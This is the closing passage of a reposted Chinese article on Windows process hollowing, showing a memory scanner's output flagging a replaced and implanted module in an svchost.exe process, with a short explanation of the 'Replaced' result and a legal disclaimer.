[*] Scanning: C:\Windows\System32\dhcpcsvc6.DLL
[*] Scanning: C:\Windows\System32\dhcpcsvc.dll
[*] Scanning: C:\Windows\System32\dnsapi.dll
[*] Scanning: C:\Windows\System32\mswsock.dll
Scanning workingset: 383 memory regions.
[!] Scanning detached: 00007FF685260000 : C:\Windows\System32\svchost.exe
[*] Workingset scanned in 141 ms.
[+] Report dumped to: process_5768
[*] Dumped module to: C:\Users\admin\Desktop\\process_5768\400000.svchost.exe as REALIGNED
[*] Dumped module to: C:\Users\admin\Desktop\\process_5768\67700000.dll as REALIGNED
[+] Dumped modified to: process_5768
[+] Report dumped to: process_5768
---
PID: 5768
---
SUMMARY:
Total scanned: 40
Skipped: 0
-
Hooked: 0
Replaced: 1
Hdrs Modified: 0
IAT Hooks: 0
Implanted: 2
Implanted PE: 2
Implanted shc: 0
Unreachable files: 0
Other: 1
-
Total suspicious: 4
---
C:\Users\admin\Desktop>
结果中的Replaced=1表示:已加载模块在内存中的内容和磁盘映像不一致,这也就意味着原本的内存镜像是被替换了。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:剑外思归客 R0x7e R0x7e《Windows安全攻防-进程镂空技术详解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论